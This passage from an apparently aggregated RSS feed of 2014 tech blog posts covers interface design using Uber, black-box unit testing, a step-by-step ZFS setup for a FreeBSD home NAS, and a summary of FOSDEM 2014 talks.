&lt;p&gt;My take on the zombie apocalypse was always that it could never happen. The reasons being,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 12 Feb 2014 03:00:32 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/zombie-apocalypse/</guid></item><item><title>Learn C, Then Learn Computer Science</title><link>https://nicolaiarocci.com/learn-c-then-learn-computer-science/</link><description>&lt;blockquote&gt;
&lt;p&gt;This is the problem with emphasizing computer science over learning to code. Without an understanding of what’s happening at a low level, my peers ran into issues […] and had no idea what to do to debug them. This is a problem that stems from teaching people computer science but not teaching them how to code. Learning to code isn’t just teaching people how to spell – it’s teaching people the meaning behind the words.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 12 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/learn-c-then-learn-computer-science/</guid></item><item><title>What the Heck is Happening to Windows?</title><link>https://nicolaiarocci.com/what-the-heck-is-happening-to-windows/</link><description>&lt;p&gt;This oh so this.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you look back over the decades at the many high-level complaints that have been leveled at Windows, one in particular sticks out: Unlike Mac OS, in particular, Windows has always attempted to satisfy every possible customer need, and as such it often provides multiple ways to accomplish the same thing. The result is a messy product, if you will, one that lacks the singular vision that is typically associated with the Mac and Apple’s other products.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 12 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/what-the-heck-is-happening-to-windows/</guid></item><item><title>IF Shirt THEN Bounce That Email</title><link>https://xavd.id/blog/post/if-shirt-then-bounce/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/if-shirt-then-bounce/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Wed, 12 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/if-shirt-then-bounce/</guid></item><item><title>Interfaces as loops</title><link>https://sebinsua.com/interfaces-as-loops</link><description>&lt;p&gt;I had an experience the other day that transformed my thoughts on interfaces and I’d like to share it. I believe that not enough of us understand what an interface really is and that this is hampering our ability to provide good user experience.&lt;/p&gt;
&lt;p&gt;One of the problems we have when answering the question “What is an interface?” is that we don’t have an accurate representation of what an interface looks like. There is a tendency for us to become confused and pick just one concrete instance of an interface that we know well, leading to responses like “Oh, you mean a GUI” or for those that have read books like &lt;a href="http://www.amazon.co.uk/Design-Everyday-Things-Donald-Norman/dp/0262640376"&gt;“The Design Of Everyday Things”&lt;/a&gt; something more physical like a door handle.&lt;/p&gt;
&lt;p&gt;Like many people in the tech industry I’ve become acquainted with a small subset of interfaces known as GUIs and this has largely controlled the frame in which I recognise and understand interfaces.&lt;/p&gt;
&lt;p&gt;So, like you, when I think of an interface I normally think of this:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://img.svbtle.com/luhartnrdplx7w.png"&gt;&lt;img alt="uber-main-screen-turn-on.png" src="https://d23f6h5jpj26xu.cloudfront.net/luhartnrdplx7w_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And not this:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://img.svbtle.com/bmfwffwc7lotqg.jpg"&gt;&lt;img alt="uber-cars-waiting.jpg" src="https://d23f6h5jpj26xu.cloudfront.net/bmfwffwc7lotqg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Perhaps you’re wondering why I’ve shown you a street full of cars and called it an interface. What is the use in that?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Empathising&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To illustrate what I mean, I’m going to talk about &lt;a href="https://www.uber.com/"&gt;Uber&lt;/a&gt; for a little bit.&lt;/p&gt;
&lt;p&gt;Uber is an app company that aims to connect stranded city-dwellers with a driver on-the-go.&lt;/p&gt;
&lt;p&gt;A user opens the app, sets their pickup location, and requests a vehicle.&lt;/p&gt;
&lt;p&gt;Then they wait.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The other day on a particularly cold and rainy night I undertook this ritual, putting my phone back into my pocket as I waited for the 5-10 minutes it takes a driver to arrive.&lt;/p&gt;
&lt;p&gt;So there I was, staring into the dark, wet street waiting for my car to arrive. As it drew close, I received a notification from Uber in the form of a vibration/text message and reached into my pocket to retrieve my phone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The interface&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://img.svbtle.com/y8tqxiuj84i4q.png"&gt;&lt;img alt="phone-is-locked-uber-interface.png" src="https://d23f6h5jpj26xu.cloudfront.net/y8tqxiuj84i4q_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Your natural inclination might be to think that I’m not currently interfaced with Uber because I do not have their app on screen. However this is something I fundamentally disagree with.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;interface&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ˈɪntəfeɪs/&lt;/p&gt;
&lt;p&gt;&lt;em&gt;noun&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;a point where two systems, subjects, organizations, etc. meet and interact.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Recall that the problem that Uber is trying to solve is that of connecting people to drivers.&lt;/p&gt;
&lt;p&gt;That is the core interface: a connection between a person and a driver.&lt;/p&gt;
&lt;p&gt;So I’m standing in a busy street with a message from Uber telling me that somewhere in front of me is a car. And as of yet I don’t know precisely where it is or how to differentiate it from other vehicles, so I need information to recognise it such as its make, colour and number plate.&lt;/p&gt;
&lt;p&gt;This information that urges a user to interact in the right way exists under a bit of umbrella terminology known as a “perceived affordance”.&lt;/p&gt;
&lt;p&gt;The word “affordance” was created by the psychologist J. J. Gibson to refer to actionable properties between the world and an actor (e.g. person). To Gibson, affordances were relationships. Later on this word was introduced to Design by the famous usability engineer, Don Norman. He also prefixed it with an additional word “perceived”, as he felt that while an object might have many affordances it’s important to distinguish between those that are easily perceived and those that are not, in order that designers might bias perceptions towards particular affordances.&lt;/p&gt;
&lt;p&gt;In order to find the information necessary to continue the interaction, I need to unlock my phone and re-open the Uber app. I believe there’s an opportunity here to ease the interaction between user and driver. If we consider the app to be a sub-interface existing in relation to a larger interface between the user and the driver we can begin to notice other easier to perceive sub-interfaces which exist alongside it. A perfect example is the text message that notified me of the driver’s arrival.&lt;/p&gt;
&lt;p&gt;The text message can be used to give the information required to quickly and easily identify and search for the driver.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Hi Seb, your Uber is arriving now!”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Could become&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Hi Seb, your Uber is arriving now! Look out for the silver BMW with the number plate K50 WTB.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Almost all notifications can be considered a place to inject actionable interfacing information into a user’s head.&lt;/p&gt;
&lt;p&gt;This isn’t the only affordance that could be used. Other car companies are incidentally also using their own perceived affordances.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://img.svbtle.com/0vnjgrkwpnlgq.jpg"&gt;&lt;img alt="lyfts-affordance.jpg" src="https://d23f6h5jpj26xu.cloudfront.net/0vnjgrkwpnlgq_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That’s a competitor called &lt;a href="http://lyft.com"&gt;Lyft&lt;/a&gt;. Lyft handed out “carstaches” to their drivers. This is being hailed as a branding and marketing exercise which it is a great example of, but it is also a perceived affordance which lets you quickly identify your lyft.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So what does an interface look like?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To me the term interface describes a conduit between a person and a resource that a designer might bias towards particular user experiences with the use of perceived affordances.&lt;/p&gt;
&lt;p&gt;If I was to visualise the mental model I have of an interface I would draw a loop that connects your head to a resource.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://img.svbtle.com/uuig8l3li2mzq.png"&gt;&lt;img alt="interfaces-as-loops.png" src="https://d23f6h5jpj26xu.cloudfront.net/uuig8l3li2mzq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Technology is rapidly allowing us to interface with the world in new and profound ways. We shouldn’t let old notions of what an interface is dictate to us how we interact with the world. We must always remember that user experience is a function of who and where we are.&lt;/p&gt;
&lt;p&gt;Interfaces start in your head.&lt;/p&gt;</description><author>@sebinsua</author><pubDate>Tue, 11 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sebinsua.com/interfaces-as-loops</guid></item><item><title>New searchcode Logo</title><link>https://boyter.org/2014/02/searchcode-logo/</link><description>&lt;p&gt;Just a quick post to show off the new searchcode.com logo. I have been working on a new version of the site for a few weeks now and want to get something out there for people to look at. Design wise its not done yet, but the logo is.&lt;/p&gt;
&lt;p&gt;&lt;img alt="searchcode logo" src="https://boyter.org/static/searchcode_logo.png" /&gt;&lt;/p&gt;
&lt;p&gt;There it is in all its glory. The new design has a similar look and I should be able to start talking about and showing it off soon. Things I can mention are,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 11 Feb 2014 00:01:31 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/searchcode-logo/</guid></item><item><title>The Typist on H&amp;amp;FJ</title><link>http://thetypist.com/381/hfj-typography-review/</link><description>&lt;p&gt;Great look at the industry&amp;#8217;s leading font providers, Hoefler &amp;#38; Frere-Jones, Typekit, and Google Fonts, made all the more valuable because now I won&amp;#8217;t have to shell out $150 to ultimately go back to Google Fonts in the end. In a sense, as light bulbs are to Marco Arment, so too are fonts to The Typist in this article. Also worth noting with regards to Google&amp;#8217;s offering is that in addition to making an ever-expanding library of fonts available for the attractive price of free, the ubiquity of these fonts over the more expensive options from H&amp;#38;FJ and Typekit makes caching and, thus, decreased load times something to consider as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://thetypist.com/381/hfj-typography-review/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 10 Feb 2014 10:32:41 GMT</pubDate><guid isPermaLink="true">http://thetypist.com/381/hfj-typography-review/</guid></item><item><title>Function-level Black-box Testing</title><link>https://bfontaine.net/2014/02/09/function-level-black-box-testing/</link><description>&lt;p&gt;Black-box testing &lt;q&gt;is a method of software testing that examines the
functionality of an application (e.g. what the software does) without peering
into its internal structures or workings&lt;/q&gt; (&lt;a href="https://en.wikipedia.org/wiki/Black-box_testing"&gt;Wikipedia&lt;/a&gt;). While it’s
usually done at a system level, I think the most obvious place it should be
used is at the function level. It’s even more efficient if you write tests for
someone else’s code.
Here is how I write unit tests for functions.&lt;/p&gt;

&lt;h2 id="good-names"&gt;Good Names&lt;/h2&gt;

&lt;p&gt;If you can’t tell what the function roughly does only by looking at its name,
it’s usually because it’s badly named or it’s doing too many things, maybe you
should break it in smaller functions. Look at its arguments names. Do they make
sense to you? Do you &lt;em&gt;understand&lt;/em&gt; what’s the function doing only by looking as
its name and its arguments?&lt;/p&gt;

&lt;h2 id="good-documentation"&gt;Good Documentation&lt;/h2&gt;

&lt;p&gt;You sometimes need to read a function’s documentation if its name is unclear or
if it’s a complicated code area. This is your latest chance to understand the
function, because in function-level black-box testing you can’t read the code,
it would not be black-box anymore. If you understand the function, you can now
write tests. If not, you should improve its name, its arguments names, and its
documentation, in that order because it’s the order one reads it.&lt;/p&gt;

&lt;h2 id="good-tests"&gt;Good Tests&lt;/h2&gt;

&lt;p&gt;Good unit tests are short, incremental, and test only a specific case. Start
with the simplest. Does the function takes a string? Give it an empty one. Does
it take a number? Give it &lt;code class="language-plaintext highlighter-rouge"&gt;0&lt;/code&gt;. Use &lt;code class="language-plaintext highlighter-rouge"&gt;null&lt;/code&gt; for objects. Then move to more edge
cases: negative numbers, un-trimmed strings, uninitialized objects. Add more
simple edge cases, but only once at a time. Then, combine those edge cases.
Write more complex cases. Never combine two cases you never individually tested
before. After all these edge cases, test the legitimate ones. Again start with
the simplest, then add more complexity and combine cases.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sun, 09 Feb 2014 22:50:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/02/09/function-level-black-box-testing/</guid></item><item><title>Building a FreeBSD NAS, part III: ZFS</title><link>https://bastian.rieck.me/blog/2014/freebsd_nas_part_iii/</link><description>&lt;p&gt;This is part III of my NAS project. Check out &lt;a href="https://bastian.rieck.me/blog/2013/freebsd_nas_part_ii/"&gt;part II for some information about the base system setup&lt;/a&gt; and &lt;a href="https://bastian.rieck.me/blog/2013/freebsd_nas_part_i/"&gt;part I for the hardware setup&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="why-zfs"&gt;Why ZFS?&lt;/h1&gt;
&lt;p&gt;Data security is paramount when setting up a NAS. You do not want to store valuable data on your NAS
just to find out later on that it has been corrupted. Likewise, you might want your NAS to be able
to survive &lt;em&gt;one&lt;/em&gt; dead hard drive. This is where ZFS comes in handy. ZFS is a filesystem designed
with server users in mind. Among other features, it offers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Automated compression&lt;/li&gt;
&lt;li&gt;Data integrity checks&lt;/li&gt;
&lt;li&gt;Volume mirroring (&amp;ldquo;software RAID&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;Snapshots&lt;/li&gt;
&lt;li&gt;Deduplication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The best thing, though: It is available out-of-the-box in FreeBSD.&lt;/p&gt;
&lt;h1 id="the-setup"&gt;The setup&lt;/h1&gt;
&lt;p&gt;I am only covering some very basic usage scenarios here. In the following, I am assuming that you
have two disks on &lt;code&gt;/dev/ada1&lt;/code&gt; and &lt;code&gt;/dev/ada2&lt;/code&gt; respectively. We will put the home directories and a
mount point for media files on those disks and finish with a simple mirroring setup. At the risk of
sounding like a broken record here, I am repeating the sage advice of the ages: &lt;em&gt;RAID does not
replace backups&lt;/em&gt;. &lt;em&gt;RAID is not a backup solution&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In other words: This setup protects you against one hard drive failing, but &lt;em&gt;not&lt;/em&gt; against people
deleting their data deliberately. It always pays to keep an external hard drive around that can
store backups in a secure location. I am using &lt;em&gt;secure&lt;/em&gt; in the sense of being secure against damages
in your apartment, not against international espionage, by the way.&lt;/p&gt;
&lt;h1 id="preparing-the-disks"&gt;Preparing the disks&lt;/h1&gt;
&lt;p&gt;We first need need to create a GPT on the disk:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gpart create -s gpt ada1
$ gpart show ada1
=&amp;gt;        34  3907029101  ada1  GPT  (1.8T)
          34  3907029101        - free -  (1.8T)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Further partitions are not required. ZFS will do the rest for us.&lt;/p&gt;
&lt;h1 id="creating-storage-for-the-home-directories"&gt;Creating storage for the home directories&lt;/h1&gt;
&lt;p&gt;The basic entity of ZFS is a &lt;em&gt;pool&lt;/em&gt;. A ZFS pool can consists of multiple disks. Each pool can
contain numerous filesystems. Let&amp;rsquo;s start by creating a pool on the disk.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zpool create storage /dev/ada1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pools can have any name. I do not want to get creative here and call mine simply &lt;em&gt;storage&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s create a filesystem that uses the pool.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zfs create storage/home 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="moving-the-home-directories"&gt;Moving the home directories&lt;/h2&gt;
&lt;p&gt;This step is not really related to ZFS, but I am including it for the sake of completeness.
Basically, I am copying all home directories to the pool, then fixing the permissions (for each user
individually) and deleting the old home directories:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cp -rp /home/* /storage/home
$ chown -R user1:group1 /home/user1
$ chown -R user2:group2 /home/user2
...
$ rm -rf /home/*
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="setting-a-new-mount-point"&gt;Setting a new mount point&lt;/h2&gt;
&lt;p&gt;Having moved the directories to the pool, we nonetheless want the filesystem to appear as &lt;code&gt;/home&lt;/code&gt;.
Setting a new mount point is easy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zfs set mountpoint=/home storage/home
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="enabling-compression"&gt;Enabling compression&lt;/h2&gt;
&lt;p&gt;If you want to enable &lt;em&gt;compression&lt;/em&gt; for the new filesystem (which I would recommend; see &lt;a href="https://blogs.oracle.com/observatory/entry/zfs_compression_a_win_win"&gt;this
article about the benefits, for
example&lt;/a&gt;), we again use the
&lt;code&gt;zfs&lt;/code&gt; command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zfs set compression=gzip storage/home
$ zfs get compressratio storage/home
NAME          PROPERTY       VALUE  SOURCE
storage/home  compressratio  1.11x  -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the compression ratio is likely to improve over time, depending on what sort of you data
you store.&lt;/p&gt;
&lt;h1 id="creating-storage-for-the-media-files"&gt;Creating storage for the media files&lt;/h1&gt;
&lt;p&gt;We need another filesystem for storing media files.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zfs create storage/media
$ zfs set atime=off storage/media
$ zfs set quota=800GB storage/media
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that I disabled &lt;em&gt;access time&lt;/em&gt; updates which improves read performance. For my media files, I
do not care about access times because they will only be read by server applications.&lt;/p&gt;
&lt;p&gt;I also set a quota for the media files to force me to throw away old stuff. Of course, the quota can
be reset any time using the &lt;code&gt;zfs&lt;/code&gt; command.&lt;/p&gt;
&lt;h1 id="attaching-the-second-hard-drive"&gt;Attaching the second hard drive&lt;/h1&gt;
&lt;p&gt;Again, the &lt;code&gt;zfs&lt;/code&gt; command is our friend here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ zpool attach storage /dev/ada1 /dev/ada2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command is so simple and easy, it made me immediately fall in love with ZFS. Setting up a
mirror could not be easier&amp;hellip;&lt;/p&gt;
&lt;h1 id="making-the-changes-persistent-and-enabling-monitoring"&gt;Making the changes persistent and enabling monitoring&lt;/h1&gt;
&lt;p&gt;ZFS should be loaded automatically whenever the NAS boots up, so &lt;code&gt;rc.conf&lt;/code&gt; needs to be modified
accordingly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ echo 'zfs_enable=&amp;quot;YES&amp;quot;' &amp;gt;&amp;gt; /etc/rc.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have configured your NAS to send you e-mails (which I explained in &lt;a href="https://bastian.rieck.me/blog/2013/freebsd_nas_part_ii/"&gt;part
II&lt;/a&gt;), you can instruct FreeBSD to include information about all
ZFS pools in the daily status reports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ echo 'daily_status_zfs_enable=&amp;quot;YES&amp;quot;' &amp;gt;&amp;gt; /etc/periodic.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will result in status information about the pools:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Checking status of zfs pools:
NAME      SIZE  ALLOC   FREE    CAP  DEDUP  HEALTH  ALTROOT
storage  1.81T   980G   876G    52%  1.00x  ONLINE  -

all pools are healthy
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="conclusion--some-resources"&gt;Conclusion &amp;amp; some resources&lt;/h1&gt;
&lt;p&gt;I have but scratched the surface of ZFS features. Data deduplication, for example, is one of the
great things about ZFS. It means that ZFS will not store identical blocks multiple times on a pool
but just once. Unfortunately, my NAS has not enough RAM for this to work reliably. I will maybe
cover this in another article.&lt;/p&gt;
&lt;p&gt;In the meantime, here are some other great resources about using ZFS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://flux.org.uk/tech/2007/03/zfs_tutorial_1.html"&gt;A detailed ZFS tutorial, by Will Green&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://breden.org.uk/2009/05/10/home-fileserver-zfs-file-systems"&gt;Some usage scenarios for ZFS on a homeserver, by Simon Breden&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;May your drives never fail and your data prosper.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 09 Feb 2014 21:24:36 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/freebsd_nas_part_iii/</guid></item><item><title>FOSDEM 2014</title><link>https://blog.separateconcerns.com/2014-02-09-fosdem-2014.html</link><description>&lt;p&gt;Last weekend I attended &lt;a href="https://fosdem.org/2014/"&gt;FOSDEM&lt;/a&gt;, the largest Open Source conference in Europe that takes place every year in Brussels. This was my fourth year in a row. Not much Lua this year, although I saw some &lt;a href="https://github.com/ladc"&gt;familiar&lt;/a&gt; &lt;a href="http://specfun.inria.fr/tassi/"&gt;faces&lt;/a&gt;. But I did listen to lots of interesting talks which I will try to summarize briefly.&lt;/p&gt;
&lt;section id="Reproducible-Builds-for-Debian-Jérémy-Bobbio"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/reproducibledebian/"&gt;Reproducible Builds for Debian&lt;/a&gt; (Jérémy Bobbio)&lt;/h2&gt;
&lt;p&gt;Debian developers want to provide their users a way to verify that the binary packages they distribute correspond to the source. To achieve reproducible builds they have to patch code that depends on things such as timestamps at build time. To make things worse, using a standard VM for builds would help but they refuse to do it “because they’re Debian.”&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Is-distribution-level-package-management-obsolete-Donnie-Berkholz"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/obsolete/"&gt;Is distribution-level package management obsolete?&lt;/a&gt; (Donnie Berkholz)&lt;/h2&gt;
&lt;p&gt;The Gentoo leader thinks distribution are doing a poor job of meeting the needs of users - especially developers and system administrators - in terms of package management. They are increasingly relying on configuration management tools (CFEngine, Puppet, Chef, Ansible…), language-specific package managers (RubyGems, NPM, LuaRocks…) and tools like Docker; however, distribution package managers do not integrate well with those.&lt;/p&gt;
&lt;p&gt;This is a topic that interests me, following all the discussion that occurred at &lt;a href="http://www.lua.org/wshop13.html"&gt;the last Lua Workshop&lt;/a&gt;. After the talk I asked Donnie whether there was a discussion list somewhere dedicated to those issues. He told me that, to his knowledge, there was not. It may be a good idea to start one.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Minix-3-on-ARM-Kees-Jongenburger"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/minix_3_on_arm/"&gt;Minix 3 on ARM&lt;/a&gt; (Kees Jongenburger)&lt;/h2&gt;
&lt;p&gt;Kees talked about the &lt;a href="http://www.minix3.org/"&gt;Minix 3&lt;/a&gt; architecture, how it was ported to ARM (with the BeagleBoard and BeagleBone devices as first targets) and plans for the future.&lt;/p&gt;
&lt;p&gt;The main priority of the project is porting the NetBSD userland. As a former user I think this is an excellent idea. I may try the OS again someday if it becomes more “usable”, I really like some of the ideas behind it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Technical-introduction-to-the-deeper-parts-of-Sailfish-OS-Carsten-Munk"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/technical_introduction_to_the_deeper_parts_of_sailfishos,_a_qt5_wayland_based_mobile_os/"&gt;Technical introduction to the deeper parts of Sailfish OS&lt;/a&gt; (Carsten Munk)&lt;/h2&gt;
&lt;p&gt;Sailfish is probably the most interesting mobile OS project today, go &lt;a href="https://sailfishos.org/"&gt;check it out&lt;/a&gt; if you don’t know it yet. Carsten gave us an overview of the main parts of the OS and explained some funny things they did, such as making glibc and the Bionic libc co-exist within the same process. He also provided the audience an SSH access to an actual terminal. I &lt;a href="https://twitter.com/pchapuis/status/429619422592905217"&gt;found liblua 5.1&lt;/a&gt; on it :)&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Postfix:-lessons-learned-and-recent-developments-Wietse-Venema"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/postfix_lessons_learned_and_recent_developments/"&gt;Postfix: lessons learned and recent developments&lt;/a&gt; (Wietse Venema)&lt;/h2&gt;
&lt;p&gt;This talk introduced the Postfix least-privilege architecture, and then went on to explain recent improvements. Most of them revolve around fighting spam more efficiently. Postfix also migrated from Berkley DB to LMDB (see later), mostly for licensing reasons.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="NixOS:-declarative-configuration-Linux-distribution-Domen-Kožar"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/nixos_declarative_configuration_linux_distribution/"&gt;NixOS: declarative configuration Linux distribution&lt;/a&gt; (Domen Kožar)&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://nixos.org/"&gt;Nix OS&lt;/a&gt; is a Linux distribution built around the Nix package manager. It is one of those few distributions that completely disrupt the FHS, another one being &lt;a href="http://www.gobolinux.org/"&gt;GoboLinux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The idea of Nix is that a package is the output of a function provided with some arguments and without side effects. There are a lot of interesting ideas there, such as atomic updates based on symlinks. However, doing this involves some heavy patching and that makes me uncomfortable.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Iris-Decentralized-Messaging-Péter-Szilágyi"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/iris_decentralized_messaging/"&gt;Iris Decentralized Messaging&lt;/a&gt; (Péter Szilágyi)&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/project-iris/iris"&gt;Iris&lt;/a&gt; is a messaging backend written in Go but with a language-agnostic interface. It is somehow similar 0MQ but goes further by removing the notion of a specific instance or process in favor of sets of those. Each machine runs a single daemon that does all the heavy lifting, and each client connects to it locally to interact with the system.&lt;/p&gt;
&lt;p&gt;This is a very interesting project and I was a bit surprised I had never heard about it until now. The slides and live demos were also really good, with multiple Go code snippets running concurrently in a browser. Oh, and Gopher drawings!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Camlistore-Brad-Fitzpatrick-and-Mathieu-Lonjaret"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/camlistore/"&gt;Camlistore&lt;/a&gt; (Brad Fitzpatrick and Mathieu Lonjaret)&lt;/h2&gt;
&lt;p&gt;The speakers showed off what the latest release of &lt;a href="https://perkeep.org"&gt;Camlistore&lt;/a&gt;, a personal file storage system, can do. I already knew and liked the technical design of the project, but I was impressed by the progress made on usability since Brad’s talk at dotScale 2013. They have a new Web UI which is not complete yet but looks very promising. I really have to install my own node someday.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Statically-compiling-Ruby-with-LLVM-Laurent-Sansonetti"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/llvmruby/"&gt;Statically compiling Ruby with LLVM&lt;/a&gt; (Laurent Sansonetti)&lt;/h2&gt;
&lt;p&gt;A very interesting talk on LLVM and how it helps when statically compiling a (very) dynamic language such as Ruby. Among other things, the optimization passes do an incredible job. However, it looks like JIT compilation is not as good as static compilation yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="What's-new-in-OpenLDAP-Howard-Chu"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/whats_new_in_openldap/"&gt;What’s new in OpenLDAP&lt;/a&gt; (Howard Chu)&lt;/h2&gt;
&lt;p&gt;This was, as I had hoped, mostly a talk about &lt;a href="https://www.symas.com/lmdb"&gt;LMDB&lt;/a&gt;. It confirmed what I already suspected: at least according to its author’s benchmarks, it outperforms any kind of competition in this space (embedded key-value stores). It is also one of the rare NoSQL DBs to implement MVCC transactions, in less than 10000 lines of C code and 32 kB of object code. If there is a piece of Open Source software I think you should not have missed in 2013, it is this one.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Persistent-Memory:-Changing-the-way-we-store-data-Ric-Wheeler"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/persistent_memory/"&gt;Persistent Memory: Changing the way we store data&lt;/a&gt; (Ric Wheeler)&lt;/h2&gt;
&lt;p&gt;An interesting talk about how the shift away from rotating disk towards persistent memory storage affects the way we develop filesystems, kernels and any code that does I/O. This is not only about SSDs, but also about new kinds of devices that will come out soon and be an order of magnitude faster according to Ric.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Concurrent-programming-with-Python-and-my-little-experiment-Benoit-Chesneau"&gt;
&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/concurrent_programming_with_python/"&gt;Concurrent programming with Python and my little experiment&lt;/a&gt; (Benoit Chesneau)&lt;/h2&gt;
&lt;p&gt;Benoit explained how he ported the Go concurrency model (Goroutines and Channels) to Python. I know Benoit and his &lt;a href="https://github.com/benoitc/offset"&gt;offset&lt;/a&gt; project so this was not foreign to me, but there are two pieces of interesting news: first, the next version will support multiple processes, freeing users from the GIL (yay!), and second he is thinking about changing the API to make it more like &lt;a href="http://julialang.org/"&gt;Julia&lt;/a&gt; and less like Go, because Julia is more similar to Python.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="NSA-operation-ORCHESTRA:-Annual-Status-Report-Poul-Henning-Kamp"&gt;
